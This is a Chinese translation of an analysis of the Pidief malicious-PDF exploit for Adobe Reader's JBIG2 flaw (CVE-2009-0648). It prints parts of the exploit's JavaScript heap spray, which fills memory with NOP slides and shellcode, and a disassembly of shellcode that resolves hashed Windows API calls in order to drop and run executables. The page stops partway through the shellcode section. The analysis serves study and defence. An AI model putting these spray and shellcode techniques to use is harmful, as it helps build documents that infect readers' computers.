CVE-2009-0658漏洞分析

合集下载

应用安全-中间件-IIS-漏洞-汇总

应用安全-中间件-IIS-漏洞-汇总

应⽤安全-中间件-IIS-漏洞-汇总简介⽀持协议 HTTP HTTP/2 HTTPS FTP FTPS SMTP NNTP等⽀持操作系统 NT/2000/XP Professional/Server 2003及后续版本(XP Home中没有)解析漏洞I IS 6.0 /xx.asp/xx.jpg "xx.asp"是⽂件夹名I IS 7.0/7.5 默认Fast-CGI开启,直接在url中图⽚地址后⾯输⼊/1.php,会把正常图⽚当成php解析CVE-2017-7269Date2017类型远程代码执⾏影响范围IIS6.0 + WebDAV + Windows Server 2003 R2复现POCEXPCVE-2009-4444Date2009类型Microsoft IIS畸形⽂件扩展名绕过安全限制漏洞影响版本IIS 6.0CVE-2005-4360(MS07-041)Date2005类型远程缓冲区溢出漏洞影响范围IIS 5.1CVE-2009-3023Date2009类型远程代码执⾏影响范围IIS 5.0、IIS 5.1、IIS 6.0CVE-2009-2521Date2009类型DDOS影响范围IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0IIS认证绕过和源码泄露类型越权+源码泄露影响范围IIS 6.0、IIS 7.5CVE-2015-1635 (MS15-034)Date2015类型远程代码执⾏影响范围IIS:版本 > 6.0操作系统:Windows Server 2008 R2 | Server 2012 | Server 2012 R2 | Windows 7 | Windows 8 | Windows 8.1前置条件有web服务复现POCcurl http://180.76.196.110 -H "Host: 180.76.196.110" -H "Range: bytes=0-18446744073709551615" --》Requested Rabge Not Satisfiable EXPuse auxiliary/dos/http/ms15_034_ulonglongaddCVE-2000-0884Date2000类型远程代码执⾏影响范围IIS 4.0, 5.0 servers复现POC | EXPGET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir短⽂件名前置条件IIS 1.0,Windows NT 3.51IIS 3.0,Windows NT 4.0 Service Pack 2IIS 4.0,Windows NT 4.0选项包IIS 5.0,Windows 2000IIS 5.1,Windows XP Professional和Windows XP Media Center EditionIIS 6.0,Windows Server 2003和Windows XP Professional x64 EditionIIS 7.0,Windows Server 2008和Windows VistaIIS 7.5,Windows 7(远程启⽤<customErrors>或没有web.config)IIS 7.5,Windows 2008(经典管道模式)IS 8.0,Windows 8, Windows Server 2012IIS 8.5,Windows 8.1,Windows Server 2012 R2IIS 10.0,Windows 10, Windows Server 2016注意:IIS使⽤.Net Framework 4时不受影响复现。

常见WEB安全漏洞及整改建议

常见WEB安全漏洞及整改建议

2. jQuery 跨站脚本漏洞2.1 问题描述jQuery是继prototype之后又一个优秀的Javascrīpt框架。

jQuery 1.6.3之前版本中存在跨站脚本漏洞。

当使用location.hash选择元素时,通过特制的标签,远程攻击者利用该漏洞注入任意web脚本或HTML。

2.2 整改方法目前厂商已经发布了升级补丁以修复此安全问题,补丁获取:.ubuntu./usn/USN-1722-1/2.3 整改案例升级jQuery版本。

3. 跨站脚本编制3.1 问题描述:跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息的方式诱使管理员浏览,从而获得管理员权限,控制整个。

攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇请求、修改口令和下载非法的容等请求。

风险等级:高风险围:任何存在输入/输出方法(包括GET与POST)的页面皆可能存在恶意符号输入缺陷,主要影响应用包括留言板、在线通讯信息、文章发布页面等。

3.2 整改建议:对用户输入的参数执行严格检测:1、对产生漏洞模块的传入参数进行有效性检测。

int类型的只允许0-9的整型数字;string等字符类型的只允许(1-9,a-z,A-Z)的英文字母;2、当客户端输入限定值意外的字符后,立即转向自定义的错误页,而不能使用服务器默认的错误输出方式;3、对穿入参数进行危险字符过滤,禁止('、"、+、%、&、<>、()、;、,.等)特殊字符的传入。

3.3 案例:加固例(一):/*将login.jsp中[String u =request.getParameter("u");]替换为如下容:*/String u = request.getParameter("u");u = u.replace ('<','_');u = u.replace ('>','_');u = u.replace('"','_');u = u.replace('\'','_');u = u.replace ('%','_');u = u.replace(';','_');u = u.replace('(','_');u = u.replace(')','_');u = u.replace('&','_');u = u.replace('+','_');加固例(二):/*更积极的方式是利用正则表达式只允许输入指定的字符:*//*在[String u = request.getParameter("u");]后代入以下isValidInput函数作辨别*/public boolean isValidInput(Stringstr){if(str.matches("[a-z0-9]+"))return true;else return false;}4. URL重定向钓鱼4.1 3.1问题描述:通过构建URL,攻击者可以使用户重定向到任意URL,利用这个漏洞可以诱使用户访问某个页面,挂马、密码记录、下载任意文件等,常被用来钓鱼。

系统安全漏洞与恶意代码介绍

系统安全漏洞与恶意代码介绍
变化 从传播范围来看,恶意代码呈现多平台传播的特

35
恶意代码分类
照恶意代码运行平台 按照恶意代码传播方式 按照恶意代码的工作机
制 按照恶意代码危害
罗伯特.莫里斯
1995年—首次发现macro virus
31
恶意代码发展
1996年—netcat的UNIX版发布(nc) 1998年—第一个Java virus(StrangeBrew) 1998年—netcat的Windows版发布(nc) 1998年—back orifice(BO)/CIH 1999年—melissa/worm(macrovirus by email) 1999年—back orifice(BO) for WIN2k 1999年—DOS/DDOS-Denial of Service TFT/
恶意代码的发展趋势?从传播速度上来看恶意代码爆发和传播速度越来越快?从攻击意图来看恶意代码的开发者越来越与业化其意图也从游戏炫耀与向为恶意牟利?从功能上来看恶意代码的分工越来越细?从实现技术来看恶意代码实现的关键技术丌断变化?从传播范围来看恶意代码呈现多平台传播的特征35恶意代码分类36?照恶意代码运行平台?按照恶意代码传播斱式?按照恶意代码的工作机制?按照恶意代码危害分类蠕虫病毒后门木马有害工具流氓软件风险程序其他恶意代码分类37?丌传染的依附型恶意代码?流氓软件逡辑炸弹恶意脚本?丌传染的独立型恶意代码?木马rootkit风险程序?传染的依附型恶意代码?传统的病毒cih等?传染的独立型恶意代码?蠕虫病毒?可以丌依附亍所谓的数组而独立存在
了解安全漏洞的静态与动态挖掘方法的基本原理 了解补丁分类及修复时应注意的问题
12
漏洞的发现
从人工发现阶段发展到了依靠自动分析工具辅助 的半自动化阶段

CAVD漏洞分级指南

CAVD漏洞分级指南

CAVD漏洞分级指南一、适用范围本标准规定了汽车信息安全漏洞危害程度的评价指标和等级划分方法。

凡是被中国汽车行业漏洞库(CA VD)收录的漏洞,均适用此分级规范,包括采集的公开漏洞以及收录的未公开漏洞,通用型漏洞及汽车专有漏洞。

二、术语和定义下列术语和定义适用于本文件。

(一)汽车漏洞(vehicle vulnerability)汽车漏洞是在智能网联汽车相关的硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,可使攻击者能够在未授权的情况下以远程、短距离或接触的方式进行访问或破坏系统,造成人身、财产的危害或有价值信息的泄漏等危害。

(二)脆弱性组件(vulnerable component)脆弱性组件指车辆中包含漏洞的组件,通常是软件应用、软件模块、驱动、甚至硬件设备等。

攻击者通过利用脆弱性组件中的漏洞来发动对车辆的攻击。

(三)受影响组件(impacted component)受影响组件指车辆的漏洞被成功利用后遭受危害的组件,如软件应用、硬件设备、网络资源等。

受影响组件可以是脆弱性组件本身,可以是车辆中其他软件、硬件或网络组件。

(四)影响范围(impacted scope)影响范围指车辆漏洞被成功利用后遭受危害的资源的范围。

若受漏洞影响的资源超出了脆弱性组件的范围,则受影响组件和脆弱性组件不同;若受漏洞影响的资源局限于脆弱性组件内部,则受影响组件和脆弱性组件相同。

三、漏洞评分要素本标准使用三级指标对漏洞进行评分,分别是场景参数指标、威胁参数指标和影响参数指标。

(一)场景参数场景参数指发动攻击前,对要利用的漏洞相关技术掌握情况、对影响车辆的状态及范围进行描述的相关因子,包括技术掌握、车辆工况、攻击范围等三类因子。

1、技术掌握技术掌握指对被利用的攻击漏洞了解程度以及对技术的掌握程度的总和考量,分为低,中,高三等:●低:模糊知悉漏洞位置,掌握攻击流程,包括攻击工具、攻击步骤等;●中:可获取详细的漏洞资料及信息,在“低”的基础上,知悉漏洞的相关原理;●高:在“中”的基础上,熟练掌握漏洞触发工作模式,已积累成熟的相关原理。

cve-2009-2002

cve-2009-2002

cve-2009-2002CVE-2009-2002: 一次网络攻击的故事近几年来,网络安全问题愈发凸显,各种漏洞和攻击手法不断涌现。

而CVE-2009-2002,就是其中一例令人们深感震惊的事件。

本文将带您进入这次网络攻击的现场,感受当时的紧张氛围和攻击给人们带来的影响。

故事发生在2009年的一个晴朗的夏日。

某大型网络服务提供商的服务器突然遭到了一次严重的攻击。

这次攻击的目标是该公司的用户数据库,其中存放着大量用户的个人信息和敏感数据。

攻击者利用了CVE-2009-2002漏洞,通过发送精心构造的恶意请求,成功地绕过了服务器的安全防护机制。

这个漏洞存在于服务器的网络协议栈中,攻击者通过发送特定格式的数据包,导致服务器在解析过程中发生缓冲区溢出,从而使攻击者能够执行恶意代码。

一旦攻击者成功执行了恶意代码,他们便获得了对服务器的完全控制权。

他们开始窃取用户的个人信息,并将数据库中的数据全部下载到他们的控制服务器上。

这些被窃取的数据包括用户的用户名、密码、电子邮件地址以及其他一些敏感信息。

当网络服务提供商发现这次攻击时,他们立即采取了紧急措施,关闭了受影响的服务器,并修复了该漏洞。

但是,这已经无法阻止攻击者窃取了大量用户的个人信息。

事后,网络服务提供商迅速采取了一系列措施,包括重置用户的密码、加强服务器的安全配置、加密用户的敏感信息等,以保护用户的利益。

同时,他们也向用户公开道歉,并承诺加强安全防护,避免类似事件再次发生。

这次攻击给用户和公司带来了巨大的损失和困扰。

许多用户因为个人信息被泄露而遭受到身份盗窃和欺诈行为,公司也因信誉受损而面临着巨大的经济损失。

CVE-2009-2002漏洞的曝光和攻击事件的发生再次提醒了人们网络安全的重要性。

各个组织和个人都应该高度重视网络安全,采取有效的措施来保护个人和机构的信息安全。

在这个充满挑战的网络时代,我们每个人都应该保持警惕,不断提升自己的网络安全意识,以免成为网络攻击的牺牲品。

典型AdobeFlashPlayer漏洞简介与原理分析

典型AdobeFlashPlayer漏洞简介与原理分析

31摘 要:随着Flash 文件在网络上的应用日益广泛,Adobe Flash Player 的安全问题受到人们越来越多的关注,它的每一个漏洞都有引发巨大安全问题的可能性。

文章首先从Flash 客户端技术和Flash 三维可视化分析两个方面对Adobe Flash Player 的运行机制进行了介绍,研究了ActionScript 语言、Flash 渲染模型、事件机制、Flash 三维图形显示、Stage3D 硬件加速和Stage3D 三维建模的特性;接下来描述了SWF 文件的格式信息,对SWF 文件的文件头和标签结构进行介绍;然后结合CVE 网站的统计信息,对Adobe Flash Player 漏洞进行分类,将其划分为Flash 文件格式漏洞、Flash 拒绝服务漏洞、Flash 跨站脚本攻击漏洞和Flash 欺骗攻击漏洞等4大类;随后对漏洞分析技术进行了详细介绍,建立了针对Adobe Flash Player 的漏洞分析技术模型;最后以10个典型的Adobe Flash Player 漏洞作为实例,经过信息收集、数据流跟踪和漏洞原理分析等过程,得到了漏洞的产生机理。

关键词:Adobe Flash Player ;漏洞分类;漏洞分析;SWF 文件格式中图分类号:TP309 文献标识码: A 文章编号:1671-1122(2014)10-0031-07Introduction and Analysis of Adobe Flash Player VulnerabilitiesMENG Zheng, ZENG Tian-ning, MA Yang-yang, WEN Wei-ping(School of Software&Microelectronics, Peking University, Beijing 102600, China )Abstract: As the application of Flash file in the network is becoming more and more wide, the security problems of Adobe Flash Player have also attracted more and more attentions. Every vulnerability has a possibility to arise serious security problem. This dissertation first describes the operation mechanism of Adobe Flash Player from the two aspects of Flash client technology and Flash 3D visualization analysis, gives a research on the characters of ActionScript language, Flash rendering model, event mechanism, Flash three dimensional graphic display, Stage3D hardware speeding and Stage3D modeling. Then the format of SWF fi le is described, and the fi le heading and the label structure are introduced. Combining with the statistic information of CVE website, the article takes a classi fi cation on the vulnerabilities of Adobe Flash Player. These four types of vulnerabilities are Flash file format vulnerability, Flash service denial vulnerability, Flash cross site scripting vulnerability and Flash spoo fi ng attack vulnerability. Then the vulnerabilities classification method and the vulnerabilities analysis technology of Adobe Flash Player are described in detail and the technical model for vulnerability analysis targeting on Adobe Flash Player is built up. At last, ten typical vulnerabilities in Adobe Flash Player are taken as the practical examples. After the processes of information collection, data flow tracking and vulnerability principle analysis, the vulnerability production mechanism is drawn out fi nally.Key words: Adobe Flash Player; vulnerabilities classi fi cation; vulnerabilities analysis; SWF fi le format收稿日期: 2014-06-06基金项目: 国家自然科学基金[61170282]作者简介:孟正(1990-),男,河北,硕士研究生,主要研究方向:漏洞分析和漏洞挖掘;曾天宁(1990-),男,山东,硕士研究生,主要研究方向:网络与系统安全;马洋洋(1989-),男,山东,硕士研究生,主要研究方向:网络与系统安全;文伟平(1976-),男,湖南,副教授,博士,主要研究方向:网络攻击与防范、恶意代码研究、信息系统逆向工程和可信计算技术等。

CAVD漏洞分级指南

CAVD漏洞分级指南

CAVD漏洞分级指南1.分级标准CAVD漏洞分级指南将漏洞根据其可能的影响和被利用的难度分为五个级别:Critical、High、Medium、Low和Info。

这些级别是根据漏洞对系统或网络的威胁程度以及攻击者利用漏洞的可能难度来确定的。

2. Critical(危急级)这个级别的漏洞有极高的危险性,可能会导致系统完全被攻击者控制或瘫痪。

这些漏洞通常可以在远程环境中被利用,攻击者无需授权或身份认证就能够实施攻击。

这类漏洞需要立即修复,否则可能带来严重的后果。

3. High(高危级)这个级别的漏洞具有较高的危险性,可能会导致系统的敏感信息泄露、拒绝服务或局部破坏。

这些漏洞通常也可以在远程环境中被利用,但攻击者可能需要一些授权或身份认证。

这类漏洞需要在一定的时间框架内修复,以保护系统的安全。

4. Medium(中危级)这个级别的漏洞具有一定的危险性,可能会导致系统的部分信息泄露、性能下降或局部破坏。

这些漏洞通常需要攻击者在本地环境下利用,或者需要一些特定的条件。

这类漏洞应该在合理的时间内修复,以减少系统的潜在安全风险。

5. Low(低危级)这个级别的漏洞具有较低的危险性,可能会导致系统的非敏感信息泄露或局部性能下降。

这些漏洞通常需要攻击者在本地环境下利用,并且需要特定的条件。

这类漏洞可以在不影响系统整体安全的情况下,合理的时间内进行修复。

6. Info(信息级)这个级别的漏洞并不会直接影响系统的安全性,它们仅提供一些系统的信息或配置细节,可能会为攻击者提供一些有用的信息。

这类漏洞通常由不完全的配置或错误的实施而导致。

修复这类漏洞可以提高系统的安全性,但不是十分紧急。

7.漏洞评估与分级要对漏洞进行评估和分级,可以根据漏洞的描述、可能的攻击方式和受影响的系统、服务或功能等方面进行综合判断。

对于危急级和高危级的漏洞,应该优先修复,确保系统的安全性。

对于中危级和低危级的漏洞,可以根据资源限制和系统的重要性进行相应的处理。

cve-2006-0987 2008r2

cve-2006-0987 2008r2

CVE-2006-0987 漏洞及其对 Windows Server 2008 R2 的影响一、漏洞概述1. CVE-2006-0987 漏洞是指在软件或操作系统中存在的安全漏洞,可以被黑客利用进行远程攻击或其他恶意行为。

2. 该漏洞最初在2006年被发现,并被赋予CVE编号2006-0987。

它存在于某些版本的操作系统中,包括Windows Server 2008 R2。

二、漏洞的具体影响3. CVE-2006-0987 漏洞对Windows Server 2008 R2 的影响主要体现在以下几个方面:3.1. 可能导致系统崩溃或死机3.2. 可能会泄露敏感信息3.3. 可能被黑客利用进行远程攻击三、漏洞修复措施4. 针对CVE-2006-0987 漏洞,微软公司于发现后采取了一系列修复措施,以减轻漏洞带来的危害:4.1. 发布安全补丁4.2. 更新操作系统4.3. 提供相关的安全建议和指南四、Windows Server 2008 R2 的安全加固建议5. 除了及时应用微软发布的安全补丁外,针对 Windows Server 2008 R2 系统,我们还可以采取以下措施进行安全加固:5.1. 启用防火墙,限制对端口的访问5.2. 定期备份数据,以应对可能的攻击或数据丢失5.3. 安装可信的安全软件,对系统进行实时监控和防护五、如何预防类似漏洞的发生6. 为了预防类似漏洞的发生,我们还应该培养安全意识,加强对系统的监控和管理,做好以下工作:6.1. 及时了解漏洞信息,关注软件或操作系统的安全公告6.2. 定期对系统进行安全扫描和漏洞检测6.3. 加强对系统管理员的培训和管理,防止人为失误或疏忽导致安全漏洞的发生在使用 Windows Server 2008 R2 系统时,我们应当对系统的安全性给予足够的重视,及时更新补丁、加强安全加固措施、培养安全意识,从而有效预防 CVE-2006-0987 漏洞对系统的影响。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

CVE-2009-0658漏洞分析题目:CVE-2009-0658漏洞分析原作:Peter Kleissner(http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit)翻译:Cryin'我想给大家分享下2009年3月对一个Adobe pdf漏洞的分析结果,该漏洞由于JBIG2压缩中的BUG导致执行任意Win32代码。

该漏洞目前(2009年3月3日)已经仅在内部被修补,但Adobe有望在3月11日才发布更新版本。

自2007年以来的所有Adobe阅读器(Adobe Reader 7.0和更高版本都受影响),恶意PDF文件利用此漏洞的成功率非常低,所以传播的不是很广泛。

PDF文件概览首先让我们大概的认识下一般的PDF恶意文件•JavaScript代码,使Exploit成为可能•Shellcode集成在JavaScript代码中(加载在Stream里面)•Exploit Code,包含在PDF文件的Stream中并经过加密的可执行文件(malware)•伪造的PDF文件,实现隐藏的目的PDF漏洞文件开发主要有三个部分:JavaScript代码、Shellcode、Exploit Code。

这三部分在漏洞利用开发过程中都同等重要。

Pidief是一个知名度很高、传播十分广泛的病毒家族(本文分析的也是),在其历史上它利用各种Adobe Pdf漏洞来执行恶意程序(malware).下面分析的就是Pidief家族中鲜活的实例。

尽情享受吧!JavaScript代码Pidief包含的第一段JavaScript代码作为脚本存储在PDF文件的Object对象中,代码经过八进制编码后如下面所示:2 0 obj<</S /JavaScript/JS(\040\012\012\040\040\040\040\040\040\040\040\146\165\156\143\164\151\157\156\0 40\160\162\151\156\164\111\156\146\157\050\051\173\012\040\040\040\040\040\040\040\04 0\040\040\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\12 6\151\145\167\145\162\040\154\141\156\147\165\141\147\145\072\040\042\040\053\040\141\16 0\160\056\154\141\156\147\165\141\147\145\051\073\012\040\040\040\040\040\040\040\040\04 0\040\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\126\151\145\167\145\162\040\166\1...>>endobjJS脚本相当大,解码后长度为42792字节(其中主要部分是Shellcode)。

在演示解码后的Java代码之前,我想简单介绍一下PDF文件中的JavaScript代码是如何执行的。

Adobe使用自己的内部引擎,大家可能想到是IE浏览器,但Adobe并没有使用IE浏览器引擎。

JavaScript是由不同的动作(triggers)执行。

根据一份来自Adobe的德文文档所述,一共有7个动作用来执行JavaScript,这里使用的是第一个动作,Open Document。

所以这样也带来一个很重要的限制,PDF中执行JavaScript是依赖动作的。

下面是动作Open Document 时注册要执行的JavaScript代码:3 0 obj<</Type /Catalog/Outlines 4 0 R/Pages 5 0 R/OpenAction 2 0 R>>endobjOpenAction定义了执行的对象obj 2 0,也就是包含了上面经过Oct编码的JavaScript代码的对象。

function printInfo(){console.println("Viewer language: " + nguage);console.println("Viewer version: " + app.viewerVersion);console.println("Viewer Type: " + app.viewerType);console.println("Viewer Variatio: " + app.viewerVariation);console.println("Dumping all data objects in the document.");if ( this.external ){console.println("viewing from a browser.");}else{console.println("viewing in the Acrobat application.");}...该脚本只包含两个函数:printInfo()和sprayWindows()。

第一个仅输出关于PDF浏览器的信息(调试使用),第二个函数用来准备内存并将Shellcode填充到内存里面。

正如上面提到脚本长度为42792字节,但只有150行,这就使得它很容易被读取。

有趣的是JavaScript 里甚至包含了一些注释信息:// Create a 1MB string of NOP instructions followed by shellcode://// malloc header string length NOP slide shellcode NULL terminator// 32 bytes 4 bytes x bytes y bytes 2 byteswhile (pointers.length <= 0x100000/2)pointers += pointers;//Pointerspointers = pointers.substring(0, 0x100000/2 - 32/2 - 4/2 - pointers1.length - 2/2 );while (nop.length <= 0x100000/2)nop += nop;//Trampolinnop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - jmp.length - 2/2);// while (nop1.length <= 0x100000/2)// nop1 += nop1;//shelcode <1M// nop1 = nop1.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );Exploit如何工作像往常一样,PDF漏洞文件一般都是利用软件(Adobe Reader)的BUG(exploiting)而开发的。

一个常见的技术如“缓冲区溢出”,尝试溢出在栈上的缓冲区并并覆盖函数返回跳转地址到指定数据。

这里使用的正是这种技术,并利用JBIG2压缩的漏洞实现。

JavaScript代码开辟了200MB内存并使用NOP指令(空操作,汇编指令)和Shellcode填充。

然后JBIG2压缩漏洞将导致程序跳转到200MB内存的某个位置去执行。

这就是为什么有这么多的NOP指令,正因入口点位置不能确定,所以NOP指令将被执行,最后执行到Shellcode。

以下代码用来开辟200MB内存:var x = new Array();// Fill 200MB of memory with copies of the NOP slide and shellcodefor (i = 0; i < 150; i++) {x[i] = nop+shellcode;}// x[i++] = nop1+shellcode;for (; i < 201; i++) {x[i] = pointers + pointers1;}这里非常有趣的是为了在不同的版本下利用该漏洞,针对Adobe Reader 9 和Adobe Reader 7.0(以及更高版本)有不同的代码进行处理:if(app.viewerVersion>=7.0&app.viewerVersion<9){ShellcodeJavaScript代码将Shellcode填充到内存,以便在Adobe Reader漏洞触发时执行。

Shellcode 本身是有效的Win32代码,存储并被escaped在JavaScript代码中。

这里我们禁用JavaScript引擎,并进入阅读器窗口。

在前四个字节,Shellcode在最开始包含了"JBIA"缩写字样并紧跟着4句垃圾指令代码。

让它们记录并返回调用Shellcode的目标:从PDF 文件中释放并执行两个可执行文件。

让我们看看初始化代码:; [junk code] - "JBIA"00000000 4A dec edx00000001 42 inc edx00000002 49 dec ecx00000003 41 inc ecx; create data on stack (284 bytes)00000004 81EC20010000 sub esp,2880000000A 8BFC mov edi,esp0000000C 83C704 add edi,4 ; edi is a pointer to the new allocated data; store the hashes of Windows API functions for later usage0000000F C7073274910C mov dword [edi],0xc917432 ; LoadLibraryA00000015 C747048E130AAC mov dword [edi+0x4],0xac0a138e ; GetFileSize0000001C C7470839E27D83 mov dword [edi+0x8],0x837de239 ; GetTempPathA00000023 C7470C8FF21861 mov dword [edi+0xc],0x6118f28f ; TerminateProcess0000002A C747109332E494 mov dword [edi+0x10],0x94e43293 ; CreateFileA00000031 C74714A932E494 mov dword [edi+0x14],0x94e432a9 ; CreateFileW00000038 C7471843BEACDB mov dword [edi+0x18],0xdbacbe43 ; SetFilePointer0000003F C7471CB2360F13 mov dword [edi+0x1c],0x130f36b2 ; ReadFile00000046 C74720C48D1F74 mov dword [edi+0x20],0x741f8dc4 ; WriteFile0000004D C74724512FA201 mov dword [edi+0x24],0x1a22f51 ; WinExec00000054 C7472857660DFF mov dword [edi+0x28],0xff0d6657 ; CloseHandle0000005B C7472C9B878BE5 mov dword [edi+0x2c],0xe58b879b ; GetCommandLineA00000062 C74730EDAFFFB4 mov dword [edi+0x30],0xb4ffafed ; GetModuleFileNameA; call the code following this instruction00000069 E997020000 jmp dword Execute_Function..Execute_Function:00000305 E864FDFFFF call Execute_Shellcode; just for obfuscation, this will never return可以看到函数的hash值被存放在堆栈中,然后是一个用来迷惑大家的Call(译者:正如上面所说"this will never return")。

相关文档
最新文档